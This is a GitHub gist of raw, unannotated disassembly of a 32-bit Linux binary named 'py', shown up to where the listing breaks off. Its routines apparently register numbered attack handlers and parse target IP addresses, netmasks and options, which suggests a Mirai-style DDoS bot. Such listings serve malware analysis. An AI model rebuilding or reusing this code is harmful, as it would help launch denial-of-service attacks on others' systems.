Skip to content

Instantly share code, notes, and snippets.

@ssmccoy
Last active December 16, 2021 05:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ssmccoy/409d69cbee9116fdbf812ba1b65afe28 to your computer and use it in GitHub Desktop.
Save ssmccoy/409d69cbee9116fdbf812ba1b65afe28 to your computer and use it in GitHub Desktop.
py: file format elf32-i386
Disassembly of section .init:
08048094 <.init>:
8048094: 55 push %ebp
8048095: 89 e5 mov %esp,%ebp
8048097: 53 push %ebx
8048098: e8 13 00 00 00 call 0x80480b0
804809d: 81 c3 77 6f 00 00 add $0x6f77,%ebx
80480a3: e8 68 00 00 00 call 0x8048110
80480a8: e8 83 67 00 00 call 0x804e830
80480ad: 5b pop %ebx
80480ae: 5d pop %ebp
80480af: c3 ret
Disassembly of section .text:
080480b0 <.text>:
80480b0: 8b 1c 24 mov (%esp),%ebx
80480b3: c3 ret
80480b4: 90 nop
80480b5: 90 nop
80480b6: 90 nop
80480b7: 90 nop
80480b8: 90 nop
80480b9: 90 nop
80480ba: 90 nop
80480bb: 90 nop
80480bc: 90 nop
80480bd: 90 nop
80480be: 90 nop
80480bf: 90 nop
80480c0: 55 push %ebp
80480c1: 89 e5 mov %esp,%ebp
80480c3: 83 ec 08 sub $0x8,%esp
80480c6: 80 3d a0 f0 04 08 00 cmpb $0x0,0x804f0a0
80480cd: 74 0c je 0x80480db
80480cf: eb 35 jmp 0x8048106
80480d1: 83 c0 04 add $0x4,%eax
80480d4: a3 24 f0 04 08 mov %eax,0x804f024
80480d9: ff d2 call *%edx
80480db: a1 24 f0 04 08 mov 0x804f024,%eax
80480e0: 8b 10 mov (%eax),%edx
80480e2: 85 d2 test %edx,%edx
80480e4: 75 eb jne 0x80480d1
80480e6: b8 00 00 00 00 mov $0x0,%eax
80480eb: 85 c0 test %eax,%eax
80480ed: 74 10 je 0x80480ff
80480ef: 83 ec 0c sub $0xc,%esp
80480f2: 68 80 ef 04 08 push $0x804ef80
80480f7: e8 04 7f fb f7 call 0x0
80480fc: 83 c4 10 add $0x10,%esp
80480ff: c6 05 a0 f0 04 08 01 movb $0x1,0x804f0a0
8048106: c9 leave
8048107: c3 ret
8048108: 90 nop
8048109: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
8048110: 55 push %ebp
8048111: b8 00 00 00 00 mov $0x0,%eax
8048116: 89 e5 mov %esp,%ebp
8048118: 83 ec 08 sub $0x8,%esp
804811b: e8 00 00 00 00 call 0x8048120
8048120: 5a pop %edx
8048121: 81 c2 f4 6e 00 00 add $0x6ef4,%edx
8048127: 85 c0 test %eax,%eax
8048129: 74 15 je 0x8048140
804812b: 52 push %edx
804812c: 6a 00 push $0x0
804812e: 68 a4 f0 04 08 push $0x804f0a4
8048133: 68 80 ef 04 08 push $0x804ef80
8048138: e8 c3 7e fb f7 call 0x0
804813d: 83 c4 10 add $0x10,%esp
8048140: a1 10 f0 04 08 mov 0x804f010,%eax
8048145: 85 c0 test %eax,%eax
8048147: 74 16 je 0x804815f
8048149: b8 00 00 00 00 mov $0x0,%eax
804814e: 85 c0 test %eax,%eax
8048150: 74 0d je 0x804815f
8048152: 83 ec 0c sub $0xc,%esp
8048155: 68 10 f0 04 08 push $0x804f010
804815a: ff d0 call *%eax
804815c: 83 c4 10 add $0x10,%esp
804815f: c9 leave
8048160: c3 ret
8048161: 90 nop
8048162: 90 nop
8048163: 90 nop
8048164: 31 ed xor %ebp,%ebp
8048166: 5e pop %esi
8048167: 89 e1 mov %esp,%ecx
8048169: 83 e4 f0 and $0xfffffff0,%esp
804816c: 50 push %eax
804816d: 54 push %esp
804816e: 52 push %edx
804816f: 68 56 e8 04 08 push $0x804e856
8048174: 68 94 80 04 08 push $0x8048094
8048179: 51 push %ecx
804817a: 56 push %esi
804817b: 68 50 ac 04 08 push $0x804ac50
8048180: e8 8c 5c 00 00 call 0x804de11
8048185: f4 hlt
8048186: 90 nop
8048187: 90 nop
8048188: 90 nop
8048189: 90 nop
804818a: 90 nop
804818b: 90 nop
804818c: 90 nop
804818d: 90 nop
804818e: 90 nop
804818f: 90 nop
8048190: 55 push %ebp
8048191: 89 e5 mov %esp,%ebp
8048193: 57 push %edi
8048194: 56 push %esi
8048195: 53 push %ebx
8048196: 83 ec 0c sub $0xc,%esp
8048199: 8a 5d 0c mov 0xc(%ebp),%bl
804819c: 0f b6 7d 10 movzbl 0x10(%ebp),%edi
80481a0: 0f b6 75 18 movzbl 0x18(%ebp),%esi
80481a4: e8 58 3f 00 00 call 0x804c101
80481a9: 83 f8 ff cmp $0xffffffff,%eax
80481ac: 74 04 je 0x80481b2
80481ae: 85 c0 test %eax,%eax
80481b0: 7e 0e jle 0x80481c0
80481b2: 8d 65 f4 lea -0xc(%ebp),%esp
80481b5: 5b pop %ebx
80481b6: 5e pop %esi
80481b7: 5f pop %edi
80481b8: 5d pop %ebp
80481b9: c3 ret
80481ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80481c0: e8 3c 3f 00 00 call 0x804c101
80481c5: 83 f8 ff cmp $0xffffffff,%eax
80481c8: 74 48 je 0x8048212
80481ca: 85 c0 test %eax,%eax
80481cc: 75 4e jne 0x804821c
80481ce: 83 ec 0c sub $0xc,%esp
80481d1: 8b 45 08 mov 0x8(%ebp),%eax
80481d4: 50 push %eax
80481d5: e8 b2 58 00 00 call 0x804da8c
80481da: e8 6e 3f 00 00 call 0x804c14d
80481df: 5e pop %esi
80481e0: 5f pop %edi
80481e1: 6a 09 push $0x9
80481e3: 50 push %eax
80481e4: e8 c9 3f 00 00 call 0x804c1b2
80481e9: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80481f0: e8 30 58 00 00 call 0x804da25
80481f5: 89 f0 mov %esi,%eax
80481f7: 8b 5d 1c mov 0x1c(%ebp),%ebx
80481fa: 25 ff 00 00 00 and $0xff,%eax
80481ff: 53 push %ebx
8048200: 50 push %eax
8048201: 89 f8 mov %edi,%eax
8048203: 8b 4d 14 mov 0x14(%ebp),%ecx
8048206: 25 ff 00 00 00 and $0xff,%eax
804820b: 51 push %ecx
804820c: 50 push %eax
804820d: ff 12 call *(%edx)
804820f: 83 c4 10 add $0x10,%esp
8048212: 83 ec 0c sub $0xc,%esp
8048215: 6a 00 push $0x0
8048217: e8 09 58 00 00 call 0x804da25
804821c: 31 c0 xor %eax,%eax
804821e: a0 bc f0 04 08 mov 0x804f0bc,%al
8048223: 89 45 f0 mov %eax,-0x10(%ebp)
8048226: 85 c0 test %eax,%eax
8048228: 7e e8 jle 0x8048212
804822a: 8b 0d c0 f0 04 08 mov 0x804f0c0,%ecx
8048230: 31 c0 xor %eax,%eax
8048232: 8b 11 mov (%ecx),%edx
8048234: 3a 5a 04 cmp 0x4(%edx),%bl
8048237: 75 0f jne 0x8048248
8048239: eb ba jmp 0x80481f5
804823b: 90 nop
804823c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
8048240: 8b 14 81 mov (%ecx,%eax,4),%edx
8048243: 38 5a 04 cmp %bl,0x4(%edx)
8048246: 74 ad je 0x80481f5
8048248: 40 inc %eax
8048249: 3b 45 f0 cmp -0x10(%ebp),%eax
804824c: 75 f2 jne 0x8048240
804824e: eb c2 jmp 0x8048212
8048250: 55 push %ebp
8048251: 57 push %edi
8048252: 56 push %esi
8048253: 53 push %ebx
8048254: 83 ec 3c sub $0x3c,%esp
8048257: 8b 5c 24 54 mov 0x54(%esp),%ebx
804825b: 8b 74 24 50 mov 0x50(%esp),%esi
804825f: 83 fb 03 cmp $0x3,%ebx
8048262: 77 0c ja 0x8048270
8048264: 83 c4 3c add $0x3c,%esp
8048267: 5b pop %ebx
8048268: 5e pop %esi
8048269: 5f pop %edi
804826a: 5d pop %ebp
804826b: c3 ret
804826c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
8048270: 8b 2e mov (%esi),%ebp
8048272: 66 c1 cd 08 ror $0x8,%bp
8048276: c1 cd 10 ror $0x10,%ebp
8048279: 66 c1 cd 08 ror $0x8,%bp
804827d: 83 fb 04 cmp $0x4,%ebx
8048280: 74 e2 je 0x8048264
8048282: 8a 46 04 mov 0x4(%esi),%al
8048285: 83 fb 05 cmp $0x5,%ebx
8048288: 88 44 24 17 mov %al,0x17(%esp)
804828c: 74 d6 je 0x8048264
804828e: 8a 46 05 mov 0x5(%esi),%al
8048291: 84 c0 test %al,%al
8048293: 74 cf je 0x8048264
8048295: 25 ff 00 00 00 and $0xff,%eax
804829a: 8d 53 fa lea -0x6(%ebx),%edx
804829d: 89 44 24 18 mov %eax,0x18(%esp)
80482a1: 89 54 24 30 mov %edx,0x30(%esp)
80482a5: 8d 04 80 lea (%eax,%eax,4),%eax
80482a8: 89 44 24 10 mov %eax,0x10(%esp)
80482ac: 39 c2 cmp %eax,%edx
80482ae: 72 b4 jb 0x8048264
80482b0: 50 push %eax
80482b1: 50 push %eax
80482b2: 6a 18 push $0x18
80482b4: 8d 7e 06 lea 0x6(%esi),%edi
80482b7: 8b 4c 24 24 mov 0x24(%esp),%ecx
80482bb: 51 push %ecx
80482bc: e8 23 4d 00 00 call 0x804cfe4
80482c1: 89 44 24 48 mov %eax,0x48(%esp)
80482c5: 83 c4 10 add $0x10,%esp
80482c8: 8b 54 24 18 mov 0x18(%esp),%edx
80482cc: 85 d2 test %edx,%edx
80482ce: 7e 3d jle 0x804830d
80482d0: 8b 54 24 10 mov 0x10(%esp),%edx
80482d4: 89 c1 mov %eax,%ecx
80482d6: 8d 74 16 06 lea 0x6(%esi,%edx,1),%esi
80482da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80482e0: 8b 17 mov (%edi),%edx
80482e2: 89 51 10 mov %edx,0x10(%ecx)
80482e5: 8a 47 04 mov 0x4(%edi),%al
80482e8: 83 c7 05 add $0x5,%edi
80482eb: 88 41 14 mov %al,0x14(%ecx)
80482ee: 66 c7 01 02 00 movw $0x2,(%ecx)
80482f3: 89 51 04 mov %edx,0x4(%ecx)
80482f6: 83 c1 18 add $0x18,%ecx
80482f9: 39 f7 cmp %esi,%edi
80482fb: 75 e3 jne 0x80482e0
80482fd: 8b 74 24 18 mov 0x18(%esp),%esi
8048301: 8d 04 b6 lea (%esi,%esi,4),%eax
8048304: 29 c3 sub %eax,%ebx
8048306: 83 eb 06 sub $0x6,%ebx
8048309: 89 5c 24 30 mov %ebx,0x30(%esp)
804830d: 8b 44 24 30 mov 0x30(%esp),%eax
8048311: c7 44 24 24 00 00 00 movl $0x0,0x24(%esp)
8048318: 00
8048319: 85 c0 test %eax,%eax
804831b: 74 47 je 0x8048364
804831d: 8a 07 mov (%edi),%al
804831f: 88 44 24 23 mov %al,0x23(%esp)
8048323: 84 c0 test %al,%al
8048325: 0f 85 a6 00 00 00 jne 0x80483d1
804832b: c7 44 24 2c 00 00 00 movl $0x0,0x2c(%esp)
8048332: 00
8048333: e8 7e 42 00 00 call 0x804c5b6
8048338: c7 00 00 00 00 00 movl $0x0,(%eax)
804833e: 53 push %ebx
804833f: 53 push %ebx
8048340: 8b 4c 24 2c mov 0x2c(%esp),%ecx
8048344: 51 push %ecx
8048345: 8b 54 24 38 mov 0x38(%esp),%edx
8048349: 52 push %edx
804834a: 8b 44 24 48 mov 0x48(%esp),%eax
804834e: 50 push %eax
804834f: 8b 44 24 2c mov 0x2c(%esp),%eax
8048353: 50 push %eax
8048354: 31 c0 xor %eax,%eax
8048356: 8a 44 24 2f mov 0x2f(%esp),%al
804835a: 50 push %eax
804835b: 55 push %ebp
804835c: e8 2f fe ff ff call 0x8048190
8048361: 83 c4 20 add $0x20,%esp
8048364: 8b 44 24 38 mov 0x38(%esp),%eax
8048368: 85 c0 test %eax,%eax
804836a: 74 10 je 0x804837c
804836c: 83 ec 0c sub $0xc,%esp
804836f: 8b 44 24 44 mov 0x44(%esp),%eax
8048373: 50 push %eax
8048374: e8 bc 52 00 00 call 0x804d635
8048379: 83 c4 10 add $0x10,%esp
804837c: 8b 44 24 24 mov 0x24(%esp),%eax
8048380: 85 c0 test %eax,%eax
8048382: 0f 84 dc fe ff ff je 0x8048264
8048388: 31 c0 xor %eax,%eax
804838a: 8a 44 24 23 mov 0x23(%esp),%al
804838e: 85 c0 test %eax,%eax
8048390: 7e 2b jle 0x80483bd
8048392: bb 01 00 00 00 mov $0x1,%ebx
8048397: 8d 70 01 lea 0x1(%eax),%esi
804839a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80483a0: 8b 54 24 24 mov 0x24(%esp),%edx
80483a4: 8b 44 da f8 mov -0x8(%edx,%ebx,8),%eax
80483a8: 85 c0 test %eax,%eax
80483aa: 74 0c je 0x80483b8
80483ac: 83 ec 0c sub $0xc,%esp
80483af: 50 push %eax
80483b0: e8 80 52 00 00 call 0x804d635
80483b5: 83 c4 10 add $0x10,%esp
80483b8: 43 inc %ebx
80483b9: 39 f3 cmp %esi,%ebx
80483bb: 75 e3 jne 0x80483a0
80483bd: 8b 5c 24 24 mov 0x24(%esp),%ebx
80483c1: 89 5c 24 50 mov %ebx,0x50(%esp)
80483c5: 83 c4 3c add $0x3c,%esp
80483c8: 5b pop %ebx
80483c9: 5e pop %esi
80483ca: 5f pop %edi
80483cb: 5d pop %ebp
80483cc: e9 64 52 00 00 jmp 0x804d635
80483d1: 31 d2 xor %edx,%edx
80483d3: 50 push %eax
80483d4: 50 push %eax
80483d5: 6a 08 push $0x8
80483d7: 8a 54 24 2f mov 0x2f(%esp),%dl
80483db: 89 54 24 18 mov %edx,0x18(%esp)
80483df: 52 push %edx
80483e0: e8 ff 4b 00 00 call 0x804cfe4
80483e5: 8b 5c 24 1c mov 0x1c(%esp),%ebx
80483e9: 89 44 24 34 mov %eax,0x34(%esp)
80483ed: 89 5c 24 3c mov %ebx,0x3c(%esp)
80483f1: 83 c4 10 add $0x10,%esp
80483f4: 85 db test %ebx,%ebx
80483f6: 0f 8e 37 ff ff ff jle 0x8048333
80483fc: 83 7c 24 30 01 cmpl $0x1,0x30(%esp)
8048401: 0f 84 5d ff ff ff je 0x8048364
8048407: 8b 74 24 24 mov 0x24(%esp),%esi
804840b: 8a 47 01 mov 0x1(%edi),%al
804840e: 88 46 04 mov %al,0x4(%esi)
8048411: 83 7c 24 30 02 cmpl $0x2,0x30(%esp)
8048416: 0f 84 48 ff ff ff je 0x8048364
804841c: 8a 47 02 mov 0x2(%edi),%al
804841f: 31 db xor %ebx,%ebx
8048421: 8b 74 24 30 mov 0x30(%esp),%esi
8048425: 88 c3 mov %al,%bl
8048427: 83 ee 03 sub $0x3,%esi
804842a: 88 44 24 2b mov %al,0x2b(%esp)
804842e: 39 de cmp %ebx,%esi
8048430: 0f 8c 2e ff ff ff jl 0x8048364
8048436: 8b 54 24 24 mov 0x24(%esp),%edx
804843a: 83 c7 03 add $0x3,%edi
804843d: 89 54 24 34 mov %edx,0x34(%esp)
8048441: c7 44 24 1c 00 00 00 movl $0x0,0x1c(%esp)
8048448: 00
8048449: eb 53 jmp 0x804849e
804844b: 90 nop
804844c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
8048450: 89 f1 mov %esi,%ecx
8048452: 29 d9 sub %ebx,%ecx
8048454: 0f 84 0a ff ff ff je 0x8048364
804845a: 31 c0 xor %eax,%eax
804845c: 8b 5c 24 1c mov 0x1c(%esp),%ebx
8048460: 8a 44 24 2b mov 0x2b(%esp),%al
8048464: 8b 74 24 24 mov 0x24(%esp),%esi
8048468: 83 f9 01 cmp $0x1,%ecx
804846b: 8d 1c de lea (%esi,%ebx,8),%ebx
804846e: 8d 14 38 lea (%eax,%edi,1),%edx
8048471: 89 5c 24 34 mov %ebx,0x34(%esp)
8048475: 8b 5c 24 1c mov 0x1c(%esp),%ebx
8048479: 8a 02 mov (%edx),%al
804847b: 88 44 de 04 mov %al,0x4(%esi,%ebx,8)
804847f: 0f 84 df fe ff ff je 0x8048364
8048485: 8a 42 01 mov 0x1(%edx),%al
8048488: 31 db xor %ebx,%ebx
804848a: 8d 71 fe lea -0x2(%ecx),%esi
804848d: 88 c3 mov %al,%bl
804848f: 88 44 24 2b mov %al,0x2b(%esp)
8048493: 39 de cmp %ebx,%esi
8048495: 0f 8c c9 fe ff ff jl 0x8048364
804849b: 8d 7a 02 lea 0x2(%edx),%edi
804849e: 50 push %eax
804849f: 50 push %eax
80484a0: 8d 43 01 lea 0x1(%ebx),%eax
80484a3: 6a 01 push $0x1
80484a5: 50 push %eax
80484a6: e8 39 4b 00 00 call 0x804cfe4
80484ab: 8b 54 24 44 mov 0x44(%esp),%edx
80484af: 83 c4 0c add $0xc,%esp
80484b2: 89 02 mov %eax,(%edx)
80484b4: 53 push %ebx
80484b5: 57 push %edi
80484b6: 50 push %eax
80484b7: e8 a4 37 00 00 call 0x804bc60
80484bc: 8b 44 24 2c mov 0x2c(%esp),%eax
80484c0: 40 inc %eax
80484c1: 89 44 24 2c mov %eax,0x2c(%esp)
80484c5: 83 c4 10 add $0x10,%esp
80484c8: 8b 44 24 0c mov 0xc(%esp),%eax
80484cc: 39 44 24 1c cmp %eax,0x1c(%esp)
80484d0: 0f 85 7a ff ff ff jne 0x8048450
80484d6: e9 58 fe ff ff jmp 0x8048333
80484db: 90 nop
80484dc: 90 nop
80484dd: 90 nop
80484de: 90 nop
80484df: 90 nop
80484e0: 57 push %edi
80484e1: 56 push %esi
80484e2: 53 push %ebx
80484e3: 83 ec 04 sub $0x4,%esp
80484e6: 8a 54 24 14 mov 0x14(%esp),%dl
80484ea: 8b 5c 24 18 mov 0x18(%esp),%ebx
80484ee: 81 e2 ff 00 00 00 and $0xff,%edx
80484f4: 8b 7c 24 20 mov 0x20(%esp),%edi
80484f8: 8a 44 24 1c mov 0x1c(%esp),%al
80484fc: 89 d6 mov %edx,%esi
80484fe: 85 d2 test %edx,%edx
8048500: 74 23 je 0x8048525
8048502: 88 44 24 03 mov %al,0x3(%esp)
8048506: 3a 43 04 cmp 0x4(%ebx),%al
8048509: 74 21 je 0x804852c
804850b: 8d 53 08 lea 0x8(%ebx),%edx
804850e: 31 c9 xor %ecx,%ecx
8048510: eb 0e jmp 0x8048520
8048512: 8a 42 04 mov 0x4(%edx),%al
8048515: 89 d3 mov %edx,%ebx
8048517: 83 c2 08 add $0x8,%edx
804851a: 38 44 24 03 cmp %al,0x3(%esp)
804851e: 74 0c je 0x804852c
8048520: 41 inc %ecx
8048521: 39 ce cmp %ecx,%esi
8048523: 75 ed jne 0x8048512
8048525: 89 f8 mov %edi,%eax
8048527: 59 pop %ecx
8048528: 5b pop %ebx
8048529: 5e pop %esi
804852a: 5f pop %edi
804852b: c3 ret
804852c: 8b 03 mov (%ebx),%eax
804852e: 85 c0 test %eax,%eax
8048530: 74 f3 je 0x8048525
8048532: 89 44 24 14 mov %eax,0x14(%esp)
8048536: 5b pop %ebx
8048537: 5b pop %ebx
8048538: 5e pop %esi
8048539: 5f pop %edi
804853a: e9 f8 40 00 00 jmp 0x804c637
804853f: 90 nop
8048540: 57 push %edi
8048541: 56 push %esi
8048542: 53 push %ebx
8048543: 83 ec 04 sub $0x4,%esp
8048546: 8a 54 24 14 mov 0x14(%esp),%dl
804854a: 8b 5c 24 18 mov 0x18(%esp),%ebx
804854e: 81 e2 ff 00 00 00 and $0xff,%edx
8048554: 8b 7c 24 20 mov 0x20(%esp),%edi
8048558: 8a 44 24 1c mov 0x1c(%esp),%al
804855c: 89 d6 mov %edx,%esi
804855e: 85 d2 test %edx,%edx
8048560: 74 23 je 0x8048585
8048562: 88 44 24 03 mov %al,0x3(%esp)
8048566: 3a 43 04 cmp 0x4(%ebx),%al
8048569: 74 21 je 0x804858c
804856b: 8d 53 08 lea 0x8(%ebx),%edx
804856e: 31 c9 xor %ecx,%ecx
8048570: eb 0e jmp 0x8048580
8048572: 8a 42 04 mov 0x4(%edx),%al
8048575: 89 d3 mov %edx,%ebx
8048577: 83 c2 08 add $0x8,%edx
804857a: 38 44 24 03 cmp %al,0x3(%esp)
804857e: 74 0c je 0x804858c
8048580: 41 inc %ecx
8048581: 39 ce cmp %ecx,%esi
8048583: 75 ed jne 0x8048572
8048585: 89 f8 mov %edi,%eax
8048587: 5e pop %esi
8048588: 5b pop %ebx
8048589: 5e pop %esi
804858a: 5f pop %edi
804858b: c3 ret
804858c: 8b 03 mov (%ebx),%eax
804858e: 85 c0 test %eax,%eax
8048590: 74 f3 je 0x8048585
8048592: c7 44 24 18 0a 00 00 movl $0xa,0x18(%esp)
8048599: 00
804859a: 89 44 24 14 mov %eax,0x14(%esp)
804859e: 5f pop %edi
804859f: 5b pop %ebx
80485a0: 5e pop %esi
80485a1: 5f pop %edi
80485a2: e9 09 37 00 00 jmp 0x804bcb0
80485a7: 90 nop
80485a8: 90 nop
80485a9: 90 nop
80485aa: 90 nop
80485ab: 90 nop
80485ac: 90 nop
80485ad: 90 nop
80485ae: 90 nop
80485af: 90 nop
80485b0: 53 push %ebx
80485b1: 83 ec 10 sub $0x10,%esp
80485b4: 6a 08 push $0x8
80485b6: 6a 01 push $0x1
80485b8: e8 27 4a 00 00 call 0x804cfe4
80485bd: 89 c3 mov %eax,%ebx
80485bf: c6 40 04 01 movb $0x1,0x4(%eax)
80485c3: c7 00 40 87 04 08 movl $0x8048740,(%eax)
80485c9: 58 pop %eax
80485ca: 31 c0 xor %eax,%eax
80485cc: a0 bc f0 04 08 mov 0x804f0bc,%al
80485d1: 5a pop %edx
80485d2: 8d 04 85 04 00 00 00 lea 0x4(,%eax,4),%eax
80485d9: 50 push %eax
80485da: a1 c0 f0 04 08 mov 0x804f0c0,%eax
80485df: 50 push %eax
80485e0: e8 f3 4a 00 00 call 0x804d0d8
80485e5: 8a 15 bc f0 04 08 mov 0x804f0bc,%dl
80485eb: 31 c9 xor %ecx,%ecx
80485ed: 88 d1 mov %dl,%cl
80485ef: 42 inc %edx
80485f0: a3 c0 f0 04 08 mov %eax,0x804f0c0
80485f5: 89 1c 88 mov %ebx,(%eax,%ecx,4)
80485f8: 88 15 bc f0 04 08 mov %dl,0x804f0bc
80485fe: 59 pop %ecx
80485ff: 5b pop %ebx
8048600: 6a 08 push $0x8
8048602: 6a 01 push $0x1
8048604: e8 db 49 00 00 call 0x804cfe4
8048609: 89 c3 mov %eax,%ebx
804860b: c6 40 04 02 movb $0x2,0x4(%eax)
804860f: c7 00 f0 89 04 08 movl $0x80489f0,(%eax)
8048615: 58 pop %eax
8048616: 31 c0 xor %eax,%eax
8048618: a0 bc f0 04 08 mov 0x804f0bc,%al
804861d: 5a pop %edx
804861e: 8d 04 85 04 00 00 00 lea 0x4(,%eax,4),%eax
8048625: 50 push %eax
8048626: a1 c0 f0 04 08 mov 0x804f0c0,%eax
804862b: 50 push %eax
804862c: e8 a7 4a 00 00 call 0x804d0d8
8048631: 8a 15 bc f0 04 08 mov 0x804f0bc,%dl
8048637: 31 c9 xor %ecx,%ecx
8048639: 88 d1 mov %dl,%cl
804863b: 42 inc %edx
804863c: a3 c0 f0 04 08 mov %eax,0x804f0c0
8048641: 89 1c 88 mov %ebx,(%eax,%ecx,4)
8048644: 88 15 bc f0 04 08 mov %dl,0x804f0bc
804864a: 59 pop %ecx
804864b: 5b pop %ebx
804864c: 6a 08 push $0x8
804864e: 6a 01 push $0x1
8048650: e8 8f 49 00 00 call 0x804cfe4
8048655: 89 c3 mov %eax,%ebx
8048657: c6 40 04 03 movb $0x3,0x4(%eax)
804865b: c7 00 a0 8c 04 08 movl $0x8048ca0,(%eax)
8048661: 58 pop %eax
8048662: 31 c0 xor %eax,%eax
8048664: a0 bc f0 04 08 mov 0x804f0bc,%al
8048669: 5a pop %edx
804866a: 8d 04 85 04 00 00 00 lea 0x4(,%eax,4),%eax
8048671: 50 push %eax
8048672: a1 c0 f0 04 08 mov 0x804f0c0,%eax
8048677: 50 push %eax
8048678: e8 5b 4a 00 00 call 0x804d0d8
804867d: 8a 15 bc f0 04 08 mov 0x804f0bc,%dl
8048683: 31 c9 xor %ecx,%ecx
8048685: 88 d1 mov %dl,%cl
8048687: 42 inc %edx
8048688: a3 c0 f0 04 08 mov %eax,0x804f0c0
804868d: 89 1c 88 mov %ebx,(%eax,%ecx,4)
8048690: 88 15 bc f0 04 08 mov %dl,0x804f0bc
8048696: 59 pop %ecx
8048697: 5b pop %ebx
8048698: 6a 08 push $0x8
804869a: 6a 01 push $0x1
804869c: e8 43 49 00 00 call 0x804cfe4
80486a1: 89 c3 mov %eax,%ebx
80486a3: c6 40 04 04 movb $0x4,0x4(%eax)
80486a7: c7 00 10 96 04 08 movl $0x8049610,(%eax)
80486ad: 58 pop %eax
80486ae: 31 c0 xor %eax,%eax
80486b0: a0 bc f0 04 08 mov 0x804f0bc,%al
80486b5: 5a pop %edx
80486b6: 8d 04 85 04 00 00 00 lea 0x4(,%eax,4),%eax
80486bd: 50 push %eax
80486be: a1 c0 f0 04 08 mov 0x804f0c0,%eax
80486c3: 50 push %eax
80486c4: e8 0f 4a 00 00 call 0x804d0d8
80486c9: 8a 15 bc f0 04 08 mov 0x804f0bc,%dl
80486cf: 31 c9 xor %ecx,%ecx
80486d1: 88 d1 mov %dl,%cl
80486d3: 42 inc %edx
80486d4: a3 c0 f0 04 08 mov %eax,0x804f0c0
80486d9: 89 1c 88 mov %ebx,(%eax,%ecx,4)
80486dc: 88 15 bc f0 04 08 mov %dl,0x804f0bc
80486e2: 59 pop %ecx
80486e3: 5b pop %ebx
80486e4: 6a 08 push $0x8
80486e6: 6a 01 push $0x1
80486e8: e8 f7 48 00 00 call 0x804cfe4
80486ed: 89 c3 mov %eax,%ebx
80486ef: c6 40 04 05 movb $0x5,0x4(%eax)
80486f3: c7 00 70 90 04 08 movl $0x8049070,(%eax)
80486f9: 58 pop %eax
80486fa: 31 c0 xor %eax,%eax
80486fc: a0 bc f0 04 08 mov 0x804f0bc,%al
8048701: 5a pop %edx
8048702: 8d 04 85 04 00 00 00 lea 0x4(,%eax,4),%eax
8048709: 50 push %eax
804870a: a1 c0 f0 04 08 mov 0x804f0c0,%eax
804870f: 50 push %eax
8048710: e8 c3 49 00 00 call 0x804d0d8
8048715: 8a 15 bc f0 04 08 mov 0x804f0bc,%dl
804871b: 31 c9 xor %ecx,%ecx
804871d: 88 d1 mov %dl,%cl
804871f: 42 inc %edx
8048720: a3 c0 f0 04 08 mov %eax,0x804f0c0
8048725: 89 1c 88 mov %ebx,(%eax,%ecx,4)
8048728: 88 15 bc f0 04 08 mov %dl,0x804f0bc
804872e: b8 01 00 00 00 mov $0x1,%eax
8048733: 83 c4 18 add $0x18,%esp
8048736: 5b pop %ebx
8048737: c3 ret
8048738: 90 nop
8048739: 90 nop
804873a: 90 nop
804873b: 90 nop
804873c: 90 nop
804873d: 90 nop
804873e: 90 nop
804873f: 90 nop
8048740: 55 push %ebp
8048741: 57 push %edi
8048742: 56 push %esi
8048743: 53 push %ebx
8048744: 83 ec 44 sub $0x44,%esp
8048747: 8a 44 24 58 mov 0x58(%esp),%al
804874b: 8b 5c 24 64 mov 0x64(%esp),%ebx
804874f: 88 c2 mov %al,%dl
8048751: 88 44 24 1b mov %al,0x1b(%esp)
8048755: 81 e2 ff 00 00 00 and $0xff,%edx
804875b: 0f b6 74 24 60 movzbl 0x60(%esp),%esi
8048760: 89 54 24 1c mov %edx,0x1c(%esp)
8048764: 6a 04 push $0x4
8048766: 52 push %edx
8048767: e8 78 48 00 00 call 0x804cfe4
804876c: 89 c5 mov %eax,%ebp
804876e: 58 pop %eax
804876f: 5a pop %edx
8048770: 6a 04 push $0x4
8048772: 8b 44 24 20 mov 0x20(%esp),%eax
8048776: 50 push %eax
8048777: e8 68 48 00 00 call 0x804cfe4
804877c: 89 f1 mov %esi,%ecx
804877e: 89 44 24 1c mov %eax,0x1c(%esp)
8048782: 81 e1 ff 00 00 00 and $0xff,%ecx
8048788: 68 ff ff 00 00 push $0xffff
804878d: 89 cf mov %ecx,%edi
804878f: 6a 07 push $0x7
8048791: 53 push %ebx
8048792: 51 push %ecx
8048793: e8 a8 fd ff ff call 0x8048540
8048798: 66 89 44 24 3c mov %ax,0x3c(%esp)
804879d: 83 c4 20 add $0x20,%esp
80487a0: 68 ff ff 00 00 push $0xffff
80487a5: 6a 06 push $0x6
80487a7: 53 push %ebx
80487a8: 57 push %edi
80487a9: e8 92 fd ff ff call 0x8048540
80487ae: 68 00 02 00 00 push $0x200
80487b3: 89 c6 mov %eax,%esi
80487b5: 6a 00 push $0x0
80487b7: 53 push %ebx
80487b8: 57 push %edi
80487b9: e8 82 fd ff ff call 0x8048540
80487be: 66 89 44 24 40 mov %ax,0x40(%esp)
80487c3: 83 c4 20 add $0x20,%esp
80487c6: 6a 01 push $0x1
80487c8: 6a 01 push $0x1
80487ca: 53 push %ebx
80487cb: 57 push %edi
80487cc: e8 6f fd ff ff call 0x8048540
80487d1: c7 44 24 3c 00 00 00 movl $0x0,0x3c(%esp)
80487d8: 00
80487d9: 88 44 24 33 mov %al,0x33(%esp)
80487dd: c7 44 24 40 00 00 00 movl $0x0,0x40(%esp)
80487e4: 00
80487e5: c7 44 24 44 00 00 00 movl $0x0,0x44(%esp)
80487ec: 00
80487ed: c7 44 24 48 00 00 00 movl $0x0,0x48(%esp)
80487f4: 00
80487f5: 83 c4 10 add $0x10,%esp
80487f8: 66 83 fe ff cmp $0xffff,%si
80487fc: 0f 84 7f 01 00 00 je 0x8048981
8048802: 66 c1 ce 08 ror $0x8,%si
8048806: 66 89 74 24 1e mov %si,0x1e(%esp)
804880b: 8a 44 24 13 mov 0x13(%esp),%al
804880f: 25 ff 00 00 00 and $0xff,%eax
8048814: 89 44 24 18 mov %eax,0x18(%esp)
8048818: 85 c0 test %eax,%eax
